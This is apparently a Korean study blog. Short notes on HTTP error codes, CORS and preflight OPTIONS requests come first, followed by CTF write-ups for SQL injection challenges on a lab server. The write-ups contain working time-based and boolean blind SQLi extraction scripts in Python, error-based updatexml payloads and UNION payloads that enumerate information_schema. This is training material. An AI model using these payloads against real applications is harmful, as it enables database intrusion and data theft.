오랜만에 글을 씁니다..

최근에 제가 공부가 많이 부족하다는 것을 깨달아서 다시 시간날 때마다 계속 적어볼려고 합니다.

우선 서버 정보 노출이라는 취약점이란 것을 알아 볼텐데요.

기본적으로 공격자가 공격 및 침투를 하기 위해서는 해당 서버에 대한 정보나 특성에 대해 알아야 접근이 수월합니다.

그러기 위해서는 서버에 관련된 정보를 수집하는 것이 중요하겠죠. 서버에 관련된 정보를 수집할 수 있는 가장 쉬운 방법 중 하나가 에러 페이지입니다.

에러페이지에는 서버의 종류와 무슨 에러가 났는지를 알려줍니다. 

이를 위해서는  400, 404 에러 등 여러 에러들의 특징과 에러 유발 방법에 대해서 알아야합니다.

 

에러 종류 및 특징

클라이언트 측 에러

401 Unauthorized (클라이언트 인증 실패)
403 Forbidden (접근 거부)
404 Not Found (페이지 없음)
405 Method Not Allowed (리소스를 허용하지 않음)
406 Not Acceptable (허용할 수 없음)
407 Proxy authentication required (프록시 인증 필요)
408 Request Timeout 요청 시간 초과
444 No Response
449 Clinet Closed Request

서버측 에러

500 Internal Server Error (내부 서버 오류, 이상 스크립트 실행 시 )
501 No Implemented (클라이언트에서 서버가 수행할 수 없는 서비스 요청 시)
502 Bad Gateway 서버 과부화 상태
503 Service Unavailable (서비스 다운 Or 멈춤)
504 Gateway TimeOut

 

유발 방법은 추가 해서 올리도록 하겠습니다.

HTTP OPTIONS 메소드를 쓰는 이유를 알기 위해서는 CORS란 개념을 우선 숙지해야한다.

 

CORS란

웹 브라우저가 외부 도메인의 서버와 통신하기 위해 HTTP 헤더 기반 메커니즘을 사용한 것을 CORS라 한다.

그렇다면 왜 안전하게 1개의 도메인이 아닌 다른 도메인에서 데이터를 가져오는 것일까? 그것은 웹 기술의 발전에 따라 다른 서버로 요청을 보내거나 페이지내 자원을 분리해야할 필요성이 생겨나서 이를 다른 도메인에서 가져와 쓰는 것이다.

그렇기 때문에 어떠한 요청을 할것인지 미리 보내 승인을 받으면 데이터를 가져오는 것이다.

데이터를 가져오기 위해서 Access-Control-Allow-Origin 헤더 속성을 이용하여 접속 가능 여부를 확인한다.

이때 사용되는 요청이 Preflight Request이다.

 

 Preflight Request

권한 및 해당 도메인에 대한 안전을 확인하기 위한 사전요청이라 보면 편할 것이다. 클라이언트가 요청하는 URL이 외부 도메인일 경우 웹브라우저 자체적으로 실행되는데 OPTIONS 메서드로 사전 요청을 보내고 무슨 요청을 사용할 수 있는지 권한이 출력된다. 아래 사진은 요청에 대한 어떤 권한을 줄 수 있는지 나오게 된다. 보게 되면 GET, POST, PUT ,PATCH, DELETE, OPTIONS 가 가능하다는 것을 볼 수 있다.

 

아래는 위 요청을 통해 GET을 해당 도메인에 요청을 보낸 것이다.

간략하게 적었지만 결국 해당 도메인에서 다른 도메인의 데이터를 가져와 사용한다는 것이 주 핵심이고 Access-Control-Allow-Origin를 통해 데이터 송신을 한다는 것을 알면 된다.

GET URL에 데이터를 실어 다음 URL에 전달
POST 보이지않지만 URL 이동시 데이터를 가지고 보낸다 (안전)
PUT 리소스의 모든 데이터를 업데이트한다.
PATCH 리소의 일부 데이터를 업데이트한다.
DELETE 데이터를 삭제
OPTIONS
다른 도메인에 어떠한 요청을 할 수 있는지 확인 하는 것

 

이번 문제의 경우 prepared statement 처리된 경우 어떻게 우회를 해야하는지를 파악해야하는 문제이다.

현재 get 방식으로 입력받는 값은 search 값과, sort, ord 를 입력으로 받는다.

search 값의 경우 말 그대로 검색하는 값이고 sort 어떠한 열로 정렬할 것이다. ord 는 오림차순인지 내림차순인지 구하는 것이다.

prepared statement를 간략하게 설명하면 prepared statement를 사용하기 전에는 sql 문에서는 모든 값이 입력받았을 경우 해당 sql 문을 기계어로 변환하여 컴퓨터에 전달하는데 만약 prepared statement 처리를 하였을 경우 입력받는 값을 제외한 부분외에는 기계어로 변환 후 입력받는 곳만 구멍을 뚫어 놓는 것이다. 이 경우 sql injection을 하는 것은 거의 불가능 하다.

하지만 이 경우에도 헛점은 존재하는데 바로 table name, order by와 같은 곳이다. prepared statement 가 적용될 수 있는 부분은 변수에만 가능하고 식별자의 경우는 처리가 불가능하기 때문이다.

왜 이런건지에 대해서는 추후 찾아서 정리하도록 하겠다.

 

그렇기 때문에 order by 부분에 우선 적으로 sql injection을 하였는데 ord의 경우는 안되고 sort 에는 가능했다.

이를 확인하기 위해서 아래와 같은 case 문을 넣었다. when 다음 문자가 참이면 rate로 정렬 아닐 경우 level로 정렬한다는 것이다.

sort= CASE WHEN 1=2 THEN rate ELSE level END&ord=asc

sql injection이 가능한 부분을 찾았으니 다음으로 해야하는 것은 어떻게 정렬되는지를 판별하여 참 거짓 문제를 계속 던져 데이터를 찾는 것이다.

난 아래와 같이 payload를 작성하였고, time 라이브러리를 사용한 이유는 sort에 if 문을 집어넣어 만약 맞다면 1초 지연시키고 틀리다면 지연시키지 않음을 이용해 응답 지연을 통한 참 거짓을 판별하였다.

사실 정렬 자료를 비교하여 할려고 했지만, 지정해 주는 것이 번거롭고 가장 쉬운 것이 서버와의 응답차를 이용하는 거라 생각하여 아래처럼 작성하였다.

import requests
import time
url='http://normaltic.com:7777/sqli_4/search.php'
cookies={'PHPSESSID':'uepv7p3c6a6o0i3nl02a3e2p3h'}

pw_str=''
for position in range(1,100):
    for find_pw in range(33,127):
        pay = "select flag from flag_table limit 0,1"
        payload = "if(ascii(substring(("+pay+"),{},1)) ={},sleep(1),1)".format(position,find_pw)

        parameter = {'search' :'ma', 'sort' : payload, 'ord': 'asc'}
        start = time.time()
        res = requests.get( url, params=parameter, cookies=cookies)
        end = time.time() - start
        if (end >1):
            pw_str += chr(find_pw)
            print("flag=", pw_str)
            break

    if(end < 1):
        break
    print("next")
print("Found all flag=", pw_str)




 

이번 문제의 겨우 ID: mario, PW: mariosuper 라는 계정이 주어졌다. 이 경우는 무조건 참이 되어 로그인이 승인이 되기 때문에 ID에 추가로 데이터를 검증하도록하여 db의 내용을 검출해 낼 수 있다.

mario' and '1'='1 은 참이기 때문에 로그인이 승인되는 것처럼 mario ' and substring(database(),1,1)=a 이런식으로 여러번 요청을 보내 데이터베이스의 이름을 알아 낼 수 있는 것이다.

이번 문제도 다른문제들과 같이 아래와 같은 순서로 찾아갈 것이다.

db 이름

table 이름

column 이름

 

이번의 경우 한글자씩 비교하면서 데이터를 가져와야하기 때문에 substring를 이용해 한글자씩 가져오고 ascii를 통해 숫자로 쉽게 데이터를 비교하도록 하면된다.

1. db 이름 알아내기

import requests

url='http://normaltic.com:7777/sqli_3/login.php'
cookies={'PHPSESSID':'uepv7p3c6a6o0i3nl02a3e2p3h'}

pw_str=''
for position in range(1,9):
    for find_pw in range(33,127):
        payload = "mario'and (ascii(substring((select database()),{},1)) ={}) and '1'='1".format(position,find_pw)

        parameter = {'UserId': payload, 'Password': 'mariosuper', 'Submit' : 'Login'}

        res = requests.post( url, data=parameter, cookies=cookies)
        if ("jumbotron" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            break

    if("jumbotron" not in res.text):
        break
    print("next")
print("Found all pw=", pw_str)




2. table 이름 알아내기

payload 부분에 코드만 변경하면 된다.

다음부터는 반복이다.

 

 

database 이름 찾기
select database()

찾은 데이터베이스명 sqli_3
---------------------------------------------------------------------------------
table 이름 찾기
select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1

찾은 테이블명 flag_table
---------------------------------------------------------------------------------
column 이름 찾기
select column_name from information_schema.columns where table_name='flag_table' limit 0,1
찾은 column명 flag
---------------------------------------------------------------------------------
flag 찾기

select flag from flag_table limit 0,1

 

 

코드를 작성했는데 너무 302 ok 라는 부분만 집중하였던 것 같다.

그리고 라이브러리의 특성에 대해서도 알아야할 필요성이 있다 

내가 사용한 Request 라는 라이브러리는 status code 라는 옵션이 존재하는데 로그인 페이지에서 이것을 이용할 경우 로그인 성공시 다른 페이지로 이동하게 된다. 내가 원하는건 로그인 페이지에서의 응답인데 이 라이브러리는  알아서 리다이렉트 된 다른 페이지의 응답을 가져와서 계속 200이 뜨게 된다.

그렇기 때문에 아무리 수정을 해도 계속 200이 떠버리는 것이다. 이를 해결하기 위해 text 옵션을 줘서 로그인 페이지의 응답 내용을 하나 detect하여 로그인 승인을 판별하였다.

 

이 문제의 경우 특수문자를 입력하면 오류를 출력한다. 이 경우 Error sql injection을 할 수 있는데 오류 문구가 출력되는 곳에 함수가 실행되도록 하는 것이다.

대표적인 예가 전에도 내가 정리해둔 updatexml 이 있다.

https://tyrell96.tistory.com/16?category=1008576 

 

[SQL Injection]Error base SQL Injection을 이용한 Database table, column name

Error Base SQL Injection을 이용한 Database table, column 이름 알아내기 Step 1 Error Base SQL Payload 준비 select * from userdata where name='' 은 입력받는 유저 이름에 따라 데이터를 제공하는 sql 문이..

tyrell96.tistory.com

계정은 내부 스크립트에 id=mario password=mariosuper 가 존재해 있어서 그것을 이용하였다.

아래와 같이 mario는 이미 알고 있어서 참이고 맨 뒤 도 참으로 and가 되어있다. 그렇다면 마지막으로 검증해야할 것은 updatexml 인데 이 함수의 경우 오류를 출력시 select 'tyrell'이라는 부분을 실행해서 반환하게 된다.

이를 이용하여 데이터베이스와 table 명들을 알아낼 수 있다.

mario' and updatexml(null,concat(0x3a,(select 'tyrell')),null) and '1'='1

위 코드를 아이디에 입력시 아래와 같이 tyrell 이라는 것을 출력하게 된다. 이를 이용해 첫번째 문제처럼 차근차근 알아가면 된다.

database 이름 찾기
mario' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1 

찾은 데이터베이스명 sqli_2
---------------------------------------------------------------------------------
table 이름 찾기
mario' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1)),null) and '1'='1

찾은 테이블명 flag_table
---------------------------------------------------------------------------------
column 이름 찾기
mario' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1)),null) and '1'='1 

찾은 column명 flag
---------------------------------------------------------------------------------
flag 찾기

mario' and updatexml(null,concat(0x3a,(select flag from flag_table limit 0,1)),null) and '1'='1

normaltic ctf 문제 풀이

여기서 ma 를 검색시 mario와 normaltic 이 결과로 뜨게 된다. 즉 like 문이 들어가 있는 것이다.

이 문제 해결을 위해서는 union을 사용해야하는데 union의 경우 컬럼 수와 일치해야 결과를 나타내기 때문에

' order by 5 # 를 이용하여 5를 대입시 결과를 나타내지 않는 것으로 보아 컬럼 수는 4개 이다.

그 다음으로 해야할 것은 union을 통한 데이터 내용 추출이다.

db 데이터명등의 내용을 알아야 데이터를 가져올 수 있기 때문이다.

순서는

db 이름

table 이름

column 이름

이렇게 접근해야한다.

 

db 접근 코드
mario%' union select schema_name, '2', '3', '4' from information_schema.schemata#

위에서 데이터베이스 이름을 알았으니 다음으로 해야할 것은 table이다.

 mario%' union select table_name, '2', '3', '4' from information_schema.tables where table_schema='sqli_1' #

 이미 위에서 db의 이름을 알았으니 내가 원하는 db만 보기 위해 where 문을 통해 조건을 주는 것이다.

flag_table이 우리가 찾을 flag인 것을 확인하였다. 마지막으로 table 명만 확인하면 끝이다.

mario%' union select column_name, '2', '3', '4' from information_schema.columns where table_name='flag_table' #

테이블 명이 flag 라는 것을 알았으니 마지막으로 union에서 어떤 테이블에서 무슨 컬럼을 가져올건지만 쓰면 끝이다.

mario%' union select column_name, '2', '3', '4' from information_schema.columns where table_name='flag_table' #

+ Recent posts